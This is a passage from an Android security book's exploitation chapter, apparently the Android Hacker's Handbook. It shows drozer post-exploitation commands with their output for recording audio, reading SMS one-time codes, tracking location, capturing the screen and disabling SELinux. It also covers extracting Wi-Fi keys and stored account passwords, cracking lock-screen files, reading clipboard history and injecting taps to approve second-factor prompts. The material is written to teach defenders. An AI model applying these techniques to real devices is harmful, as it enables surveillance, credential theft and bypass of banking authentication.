              ro..idsnemesisand..pr 
              .otectorandroidsneme. 
           .,sisandprotectorandroids+. 
         ..nemesisandprotectorandroidsn:. 
        .emesisandprotectorandroidsnemes.. 
      ..isandp,..,rotectorandro,..,idsnem. 
      .isisandp..rotectorandroid..snemisis. 
      ,andprotectorandroidsnemisisandprotec. 
     .torandroidsnemesisandprotectorandroid. 
     .snemisisandprotectorandroidsnemesisan: 
     .dprotectorandroidsnemesisandprotector. 
 
drozer Console (v2.3.4) 
dz-limited> permissions 
Has ApplicationContext: NO 
dz-limited> shell 
system@android:/data/data/com.sec.android.app.servicemodeapp $ id 
uid=1000(system) gid=1000(system) groups=1001(radio),1006(camera), 
1007(log),1015(sdcard_rw),1023(media_rw),2001(cache), 
3001(net_bt_admin),3002(net_bt),3003(inet),3007(net_bw_acct)

You can use this access to install additional APKs or perform other post-exploitation techniques, which are discussed later in the section, “Infiltrating User Data.”

This example may seem outdated; however, the fundamental concepts are absolutely relevant to the latest devices. A more recent example that works on Android 4.4 devices and prior is the ObjectInputStream vulnerability detailed in CVE-2014-7911. An exploit can make use of this vulnerability to attack the system service and gain code execution as the system user. More information about the vulnerability can be found at http://seclists.org/fulldisclosure/2014/Nov/51.

Another technique that malware could use to inject itself into other applications is using Google Bug #13678484—the “Fake ID” Vulnerability. This was presented at Blackhat USA 2014 by Jeff Forristal of Bluebox Security.

It was discovered that the functions used to perform validation that a certificate is actually signed by its issuer was non-existent. This lead to application certificates being able to claim that they were signed by a specific certificate when they were not. This is generally not a problem for the installation of Android applications, as the issuer of a certificate is never checked. However, this is a problem in the few instances where the issuer is checked. One of these instances is WebView plug-ins. WebView plug-ins get loaded into all applications that contain a WebView and have plug-ins enabled. Android is only supposed to acknowledge an application as containing a valid plug-in if it was signed by the Adobe certificate. However, by including the Adobe public certificate as well as a developer certificate with an Issuer field claiming to be signed by “Adobe Systems Incorporated” in the same chain, the system would accept that it has been signed by Adobe.

As part of Jeff's demo, he created a malicious WebView plug-in that included a connect-back to a drozer server from each of the infected applications. No permissions are required at all for this attack as your code is loaded into other applications and you would assume the permissions of the infected applications. This attack works only on Android 4.3 and earlier due to the change in the WebView plug-in code that was present in later versions. For more information about this vulnerability and exploitation techniques, watch his presentation at http://www.youtube .com/watch?v=MDjvyr_B8WU or visit Bluebox Security's technical blog at https://bluebox.com/technical/blackhat-fake-id-talk-material-and-follow-up/.

Infiltrating User Data

Many post-exploitation tricks can be done on an Android device. This section presents a fraction of these that readers may find interesting and easy to perform.

Using Existing drozer Modules

This section presents some of the available drozer modules that exist in the repository at the time of writing to perform common post-exploitation tasks. To install the entire host of available post-exploitation modules, perform module install post inside the drozer console or by using the drozer module option from outside the console. To write your own drozer modules, review the available documentation at https://github.com/mwrlabs/drozer/wiki#drozer- developers and ask questions in the Issue Tracker if anything is unclear.

Record Microphone

It is possible to record from the microphone of the device you have compromised. The requirements are that you have compromised an application with the RECORD_AUDIO permission and have retained Context. You could also do this by installing a rogue drozer agent that satisfies these requirements by default. Running the module provides the following output:

dz> run post.capture.microphone /path/to/save/recording.3gp 
[*] Performing crazy reflection gymnastics 
[*] Preparing recorder attributes 
[+] Recording started 
[+] Press [Enter] to stop recording 
[+] Stopped...downloading recording 
[+] Done.

This module saves the recording using the 3GP file format, which is heavily compressed. This means it is efficient on storage and bandwidth.

Read and Send SMS Messages

SMS messages can be read and new messages sent with the appropriate access on a device. Reading SMS messages could be used by an advanced attacker to overcome the use of two-factor authentication that uses OTP tokens sent via SMS. This solution is common in the banking world. To read all SMS messages containing the word “OTP,” you could run the following command:

dz> run post.sms.read -f OTP 
| body | date_sent | address | person | 
... 
| Your bank:-) You are about to make a Once Off payment of R250.00 to 
 ...779823 at Other Bank. Confirmation OTP:1458 | 1415265937000 | 
 +27820070194 | null | 

You send an SMS as follows:

dz> run post.sms.send 0745678323 "My message text" 
Sent SMS.

Using these modules requires the installation of a rogue drozer agent or the compromise of an application holding the READ_SMS or SEND_SMS permissions, respectively, with Context retained.

Read Contacts

Similarly to the post.read.sms module shown in the previous example, reading stored contacts on the device is possible with a search filter. The search filter includes the contact's name and number. Here is an example of searching by someone's surname:

dz> run post.contacts.read -f snowden 
 
| Edward Snowden | +7 922 555-12-34 |

This module has the same requirements as reading SMS messages except that it needs the READ_CONTACTS permission.

User GPS Location

Most Android devices have GPS features available. Even those that do not can perform various techniques such as cellphone tower triangulation or Wi-Fi hotspot proximity markers to determine the user's rough location. These can be used by the post.capture.location module to determine a user's last known location:

dz> run post.capture.location 
Latitude, Longitude: 63.585483,100.626953 
Google Maps link: https://www.google.com/maps/place/63.585483,100.626953

This module has the same requirements as the previous modules presented except that it needs either the ACCESS_COARSE_LOCATION or ACCESS_FINE_LOCATION permissions to function. On Android 4.4 and above this module also may require the Location Services to be enabled by the user.

Capturing the User's Screen

What a user does on his device is very personal. An unknown party being able to take screenshots or record videos of his activities is the ultimate infringement of privacy. Take a look at how to take screenshots on a device using the screencap binary. This standard binary is available on Android and allows the screen's framebuffer to be read and saved as a PNG file. Look back at that Samsung Service Mode Application exploit performed earlier that exploited the application to inject drozer, which then runs as the system user. Inside the drozer shell, even though you don't have Context you are able to generate a screenshot of the device as follows:

dz-limited> run post.capture.screenshot 
[+] Done. Saved at /home/tyrone/1416173613.png

This module also opens the screenshot automatically in your default picture viewer on your computer. Doing this is possible because you are running as the system user. This user, as well as the shell and root users, can perform this action. This module can be used alongside an installed version of minimal su that ensures the user is not prompted when requesting a root shell.

You can also create video recordings of the screen. A standard binary available on Android devices named screenrecord allows you to do this. This example uses the Nexus 7 device running Android 5.0 Lollipop. A previous example showed how to install a rogue drozer agent on the device. However, using this binary requires system, shell, or root access on the device. At the time of writing, no publicly available vulnerability allowed us this access from a normally installed application. If you dig deeper into the device you may notice that the user has rooted it. Possibly if the user accepts the root manager prompt you would be able to obtain further root access on the device. If this happened, you could run the screenrecord binary, which is wrapped conveniently in a drozer module at post.capture.screenrecording. Running this module to record for 10 seconds returns the following:

dz> run post.capture.screenrecording -l 10 
[-] You are not a privileged user and no minimal su binary available 
(see tools.setup.minimalsu).

It tells you that you are not in a position to use this module because it does not consider prompting the user for root as a valid way of obtaining root. To override this behavior, add the --override-checks flags to the module. When you do this you get the following:

dz> run post.capture.screenrecording -l 10 --override-checks 
[-] You are not a privileged user and no minimal su binary available 
(see tools.setup.minimalsu). 
[*] Continuing...

It continues and tries to execute the command using su. After a while it seems to hang at this output because of SELinux not allowing the root user to copy a file into drozer's directory. This is confirmed by the following entries in logcat:

I/ServiceManager(13131): Waiting for service SurfaceFlinger... 
E/ServiceManager(  126): SELinux: getpidcon(pid=13131) failed to 
retrieve pid context. 
E/ServiceManager(  126): find_service('SurfaceFlinger') uid=0 - 
PERMISSION DENIED 
W/servicemanager(  126): type=1400 audit(0.0:114): avc: denied { search 
 } for name="13131" dev=proc ino=178268 scontext=u:r:servicemanager:s0 
tcontext=u:r:init:s0 tclass=dir

You can issue getenforce and check the status of SELinux on the device:

dz> !getenforce 
Enforcing

With root access you can turn SELinux off by placing it in Permissive mode as follows:

dz> !su -c setenforce Permissive 
 
dz> !getenforce 
Permissive

Running the module again reveals that it works:

dz>> run post.capture.screenrecording -l 10 --override-checks 
[-] You are not a privileged user and no minimal su binary available 
(see tools.setup.minimalsu). 
[*] Continuing... 
[+] Done. Saved at /home/tyrone/1416174087.mp4

Figure 8.12 shows a still frame of the recording where the user's lock screen pattern was captured.

images

Figure 8.12 A screen recording of capturing the user's lock screen pattern

Stealing Files from SD Card

The SD card can contain all kinds of juicy files stored by the user. On Android version 4.3 and earlier, any form of code running a device would be able to access the SD card. On Android 4.4 and later it requires the compromise or installation of an application holding the READ_EXTERNAL_STORAGE permission. No Context is required to read the SD card because this access is mapped as a Linux group. Browse the SD card in drozer by using the shell as follows:

dz> shell 
u0_a275@jflte:/data/data/com.mwr.dz $ cd /sdcard 
u0_a275@jflte:/sdcard $ ls -la 
drwxrwx--- root     sdcard_r          2014-01-01 02:01 Alarms 
drwxrwx--x root     sdcard_r          2014-06-30 18:56 Android 
drwxrwx--- root     sdcard_r          2014-07-22 18:55 Application 
drwxrwx--- root     sdcard_r          2014-09-20 13:09 DCIM 
drwxrwx--- root     sdcard_r          2014-01-01 02:01 Documents 
drwxrwx--- root     sdcard_r          2014-10-20 20:26 Download 
...

To download files from the SD card you use the tools.file.download module.

Other Techniques for Privileged Scenarios

This section presents some general techniques that can be used when privileged access has been gained by an attacker. It also covers some post-exploitation techniques that would interest attackers with physical access to a device.

Extracting Wi-Fi Keys

The Wi-Fi passwords of all saved hotspots are stored on an Android device at /data/misc/wifi/wpa_supplicant.conf. The following shows the file permissions set on this file on a Nexus 7 running Android 5.0:

root@grouper:/ # ls -l /data/misc/wifi/wpa_supplicant.conf 
-rw-rw---- system   wifi      363 2014-11-15 16:01 wpa_supplicant.conf

This means that system or root user access is required to obtain this file. The group is not mapped to any permission in the /system/etc/permissions/platform.xml file and therefore not attainable by third-party applications. The following shows that the device had only a single saved network on it:

root@grouper:/ # cat /data/misc/wifi/wpa_supplicant.conf 
... 
network={ 
    ssid="FileName_MyWifiHotspot" 
    psk="my@mAz1ngP@$$w0rD" 
    key_mgmt=WPA-PSK 
    priority=3 
}

User Accounts

Unavoidably, some user accounts will be stored in cleartext on the device. Applications like Gmail make sure never to store the password in cleartext but rather use a password token. However, a regular email client has to connect to a POP3 and SMTP server and provide the actual password, so storing it somewhere is necessary. Accounts on the device are stored in /data/system/users/0/accounts.db. The file permissions on this file are as follows:

root@grouper:/ # ls -l /data/system/users/0/accounts.db 
-rw-rw---- system   system      65536 2014-11-15 16:18 accounts.db

To obtain this file an attacker would need system or root access. Downloading this file and opening it with sqlite3 is shown here:

$ sqlite3 accounts.db 
... 
sqlite> .headers on 
sqlite> .tables 
accounts          authtokens        grants            shared_accounts 
android_metadata  extras            meta 
... 
sqlite> select * from accounts; 
_id|name|type|password|previous_name 
1|tyrone@mymail.co.za|com.google.android.gm.pop3|str0ngP@$$w0rd123|

Cracking Patterns, PINs, and Passwords

If obtaining the /data/system/gesture.key file when the device is using a pattern lock screen or /data/system/password.key when the device is using a PIN or password is possible, then the lock screen code can be cracked. These files are only readable and writable by the system user and so having this access or higher is a prerequisite.

For cracking a pattern lock, the only requirement is to obtain the gesture .key file. Various tools can crack this file but you can find a nice visual one at https://github.com/sch3m4/androidpatternlock.Providing the obtained gesture.key as input to this tool looks as follows:

$ python crack.pattern.py gesture.key 
 
################################ 
# Android Pattern Lock Cracker # 
#             v0.1             # 
# ---------------------------- # 
#  Written by Chema Garcia     # 
#     http://safetybits.net    # 
#     chema@safetybits.net     # 
#          @sch3m4             # 
################################ 
 
[i] Taken from: http://forensics.spreitzenbarth.de/2012/02/28/cracking- 
the-pattern-lock-on-android/ 
 
[+] Checking length 3 
[+] Checking length 4 
[+] Checking length 5 
 
[:D] The pattern has been FOUND!!! => 01258 
 
[+] Gesture: 
 
  -----  -----  ----- 
  | 1 |  | 2 |  | 3 |   
  -----  -----  ----- 
  -----  -----  ----- 
  |   |  |   |  | 4 |   
  -----  -----  ----- 
  -----  -----  ----- 
  |   |  |   |  | 5 |   
  -----  -----  -----

This shows the sequence that the pattern lock follows in a visual manner. To crack a PIN or password lock, password.key is needed as well as the salt used for the hash. The lockscreen.password_salt can be found in different places depending on the device; however, the following are two common locations:

  • /data/system/locksettings.db
  • /data/data/com.android.providers.settings/databases/settings.db

After the appropriate database is discovered to contain lockscreen .password_salt you can extract it as follows:

$ sqlite3 settings.db "select value from secure where name = 
'lockscreen.password_salt'" 
6286553008896743476

You find the salted hash value of the password at the end of the password .key file and can extract it as follows:

$ tail --bytes 32 password.key 
8C10A1204AB6B8E3B7F155A6D7C9251E

After you obtain the salt and the salted hash, you can use one of the many tools available to perform the cracking. One of the most mature in its space is oclHashcat (see http://hashcat.net/oclhashcat/) and its variants.

Reading Extended Clipboards

Any application with Context can read a user's clipboard, which may reveal sensitive information, especially if the user makes use of a password manager. This attack was shown in “Other Communication Mechanisms” in Chapter 7. It would be better for an attacker to be able to read a history of the last 20 items that were placed on the clipboard. This would likely reveal various passwords if the user made use of a password manager. Some device manufacturers, like Samsung, have an extended clipboard feature that does this. It stores the last 20 items in the /data/clipboard/ directory. Here is snipped output of this directory:

shell@jflte:/ $ ls -l /data/clipboard/ 
drwxrwxr-x system   system   2014-11-07 10:13 11191631441356_824_375 
drwxrwxr-x system   system   2014-11-13 21:03 1120027848334_463_93 
drwxrwxr-x system   system   2014-11-12 01:43 1129463352437_797_564 
drwxrwxr-x system   system   2014-11-13 21:19 11307915521940_67_32 
drwxrwxr-x system   system   2014-11-14 01:42 11310498884247_111_65 
drwxrwxr-x system   system   2014-11-11 21:35 11669478483512_725_396 
...

Listing the directory that was updated most recently reveals the following:

shell@jflte:/ $ ls -l /data/clipboard/11669478483512_725_396/ 
-rw------- system   system        238 2014-11-11 21:35 clip

Each directory has a clip file that is owned by the system user, which means the attacker must have this access or higher. Retrieving this file and inspecting it reveals that it is not plaintext. Running the file utility against it shows that it is a serialized Java object:

$ file clip 
clip: Java serialization data, version 5

You can use a nifty tool named jdeserialize (see https://code.google.com/p/jdeserialize/) to inspect this object. Doing so shows that the actual clip value was “Hi there!”:

$ java -jar jdeserialize-1.2.jar -noclasses clip 
read: android.sec.clipboard.data.list.ClipboardDataText _h0x7e0003 = 
r_0x7e0000; 
//// BEGIN stream content output 
android.sec.clipboard.data.list.ClipboardDataText _h0x7e0003 = 
r_0x7e0000; 
//// END stream content output 
 
//// BEGIN instance dump 
[instance 0x7e0003: 
0x7e0000/android.sec.clipboard.data.list.ClipboardDataText 
  field data: 
    0x7e0000/android.sec.clipboard.data.list.ClipboardDataText: 
        mValue: r0x7e0004: [String 0x7e0004: "Hi there!"] 
    0x7e0002/android.sec.clipboard.data.ClipboardData: 
        LOG_LEN: 20 
        mFormatID: 2 
        mIsProtected: false 
] 
//// END instance dump

Again, being able to read clipboards is particularly useful if you know that the owner of the device you compromised uses a password manager.

Simulating User Interaction

Any post-exploitation techniques requiring a tap on the screen in a particular place, text to be typed in, or some other user action can likely be done using the input script present on Android devices. Think about any second factor authentication solutions that require a user to accept a prompt to log in to a VPN or approve a banking transaction. A technique that allows the attacker to interact with the screen could help bypass the security of these additional security mechanisms.

Here are the available options for the input script on a KitKat device:

$ adb shell input 
Usage: input [<source>] <command> [<arg>...] 
 
The sources are: 
      trackball 
      joystick 
      touchnavigation 
      mouse 
      keyboard 
      gamepad 
      touchpad 
      dpad 
      stylus 
      touchscreen 
 
The commands and default sources are: 
      text <string> (Default: touchscreen) 
      keyevent [–longpress] <key code number or name> ... (Default: 
keyboard) 
      tap <x> <y> (Default: touchscreen) 
      swipe <x1> <y1> <x2> <y2> [duration(ms)] (Default: touchscreen) 
      press (Default: trackball) 
      roll <dx> <dy> (Default: trackball)

To use the input script to tap on the screen, you can run it as follows:

$ adb shell input tap 520 960

This taps exactly in the middle of the screen. To find a screen's dimensions you can use the dumpsys command and filter by an attribute named mUnrestrictedScreen:

$ adb shell dumpsys window | grep mUnrestrictedScreen 
    mUnrestrictedScreen=(0,0) 1080x1920

The input script can be used by the shell, system, or root users. It can also be used by applications holding the INJECT_EVENTS permission; however, this is protected by the signature protection level.

Extracting Application Data with Physical Access

Physical access to a device allows the extraction of user data and potentially sensitive application data through the use of the ADB backup functionality. Connect the device to your computer and perform the following to back up all data of applications that do not have the allowBackup manifest attribute set to false, as well as the SD card:

$ adb backup -all -shared 

On the device's screen do not use a password and tap Back Up My Data. This takes a while. Place a backup.ab file in the current working directory on your computer. You can extract it in the same way presented in Chapter 7, “Exploiting Misconfigured Package Attributes.”

Summary

This chapter showed the multiple attack vectors that could be used to gain a foothold on a device. It also explored some post-exploitation activities that could be used to escalate privileges and infiltrate user data. All the remote exploits presented that allowed initial code execution on the device were due to vulnerabilities in installed applications, which highlights the importance of developers implementing a secure development lifecycle, especially if the application is going to be installed on millions of devices. The content presented in this chapter may seem very offensive by nature. However, these are some of the techniques that a real attacker would employ to gain access to your device. As a developer or security professional, knowing the types of attacks that are possible is crucial for fixing or preventing them for the future. Chapter 9 will discuss ways to ensure that individual applications are secured.